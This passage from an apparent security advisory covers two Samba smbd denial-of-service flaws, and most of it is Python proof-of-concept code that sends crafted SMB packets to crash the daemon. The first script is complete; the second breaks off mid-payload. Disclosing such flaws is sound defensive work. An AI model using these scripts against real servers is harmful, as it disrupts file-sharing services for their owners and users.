Successful exploitation of these issues will result in a denial of service. Description ----------- The Server Message Block (SMB) protocol, also known as Common Internet File System (CIFS) acts as an application-layer protocol to provide shared access to files, printers and Inter-Process Communication (IPC). It is also a transport for Distributed Computing Environment / Remote Procedure Call (DCE / RPC) operations. After negotiating an SMB communication the client sends a 'Session Setup AndX' packet to negotiate a session in order to be able to connect on a specific share. To trigger the null pointer dereference, the client needs to send a crafted SMB 'Negotiate Protocol' query with the SMB header 'Flags2' set to '0x0003' (no Unicode), followed by a Session Setup AndX request with the SMB header 'Flags2' set to '0x8003' (Unicode). This sequence will result in a crash within the Smbd process. The uninitialised Variable Read issue, can be triggered if the client sends a crafted 'Session Setup AndX' with a 'security blob length' value set to '\xff\xff'. Impact ------ A remote attacker can cause a denial of service within the Samba daemon Affected products ----------------- Samba <=3.4.7 and Samba <= 3.5.1 Proof of concept ---------------- To trigger the uninitialised variable read issue, the following Python proof of concept is available: import sys,socket from socket import * if len(sys.argv)<=1: sys.exit('Usage: python smbd.py 10.0.0.12') host = sys.argv[1],445 packetnego=( "\x00\x00\x00\xaa" "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00\x00" "\x00\x87\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50" "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x1a\x45\x4e\x49" "\x58\x20\x43\x4f\x52\x45\x00\x02\x4d\x49\x43\x52\x4f\x53\x4f\x46" "\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x31\x2e\x30\x33\x00" "\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64" "\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75" "\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30" "\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e" "\x54\x20\x4c\x4d\x20\x76\x2e\x31\x32\x00" ) payload=( "\x00\x00\x01\xa3" "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x03\x80\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00" "\x00\x0d\x75\x00\xd6\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00" "\x18\x00\x18\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x99\x00\x36\xed" "\x7f\xf4\x6b\xeb\x15\x65\x2e\xb5\xc9\x70\xbe\x39\xfa\x89\x56\x5b" "\xb0\xc2\x56\x40\x11\x6c\xe6\x33\x1e\x93\x02\xd3\xd3\x2e\x17\xad" "\x1f\x37\x23\xcf\x7e\x4c\xd7\x64\xbe\xd5\xdc\x1f\x23\xe0\x69\x41" "\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00\x73\x00\x74\x00\x72" "\x00\x61\x00\x74\x00\x65\x00\x75\x00\x72\x00\x00\x00\x4e\x00\x54" "\x00\x34\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77" "\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x31\x00\x33\x00\x38" "\x00\x31\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" "\x00\x77\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x34\x00\x2e" "\x00\x30\x00\x00\x00\x00\x00\x04\xff\x00\x00\x00\x00\x00\x01\x00" "\x31\x00\x00\x5c\x00\x5c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31" "\x00\x36\x00\x38\x00\x2e\x00\x30\x00\x2e\x00\x31\x00\x30\x00\x34" "\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f" "\x3f\x3f\x00" ) s = socket(AF_INET, SOCK_STREAM) s.connect(host) s.send(''.join(packetnego)) s.send(''.join(payload)) To trigger the null pointer dereference issue this Python proof of concept is available: import sys,socket from socket import * if len(sys.argv)<=1: sys.exit('python smbd.py 10.0.0.12') host = sys.argv[1],445 packetnego=( "\x00\x00\x00\x85" "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00" "\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50" "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d" "\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66" "\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e" "\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20" "\x30\x2e\x31\x32\x00" ) payload=( "\x00\x00\x00\xec" "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00" "\x0c\xff\x00\xec\x00\x04\x11\x32\x00\x00\x00\x00\x00\x00\x00" "\xff\xff" ##
